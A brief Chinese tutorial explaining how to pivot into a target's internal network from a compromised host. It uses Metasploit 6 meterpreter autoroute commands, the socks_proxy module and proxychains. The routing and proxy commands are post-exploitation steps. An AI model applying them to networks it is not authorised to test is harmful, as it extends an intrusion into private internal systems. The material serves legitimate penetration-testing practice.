msf6之内网代理

msf以前的代理方式已经官方提示,如果你这么使用提示就会出现

use auxiliary/server/socks4a
#就会提示
[!] *The module auxiliary/server/socks4a is deprecated! *
[!] *This module will be removed on or about 2020-12-29 *
[!] *Use auxiliary/server/socks_proxy and set VERSION to 4a *

也就是说20201229号就会移除这个代理模块,进而使用新的代理模块支持socks5代理

今天说一下,在meterpreter里面设置代理方法,进入对应的sessions后,执行

meterpreter > run get_local_subnets       #查看目标路由段
meterpreter > run autoroute -s xx.xx.xx.xx/24  #将目标subnet(子网)路由添加到msf6本地
meterpreter > run autoroute -p         #查看当前路由表信息

接下来,退出当前的sessions ,即backgroud后,在msf6命令行界面输入

msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy #使用msf6代理模块
msf6 auxiliary(server/socks_proxy) > show options  #查看代理模设置参数
msf6 auxiliary(server/socks_proxy) > set srvhost xx.xx.xx.xx #该msf6公网ip
msf6 auxiliary(server/socks_proxy) > set srvport xxxx 该msf6公网端口,默认协议socks5,也可以设置成4,这里随意
msf6 auxiliary(server/socks_proxy) > run  
#最后提示[*] Auxiliary module running as background job 1.
#使用jobs命令即可查看当前代理所在后台的运行的id

以上说明运行成功,之后通过proxychains设置socks5代理,直接访问目标内网即可。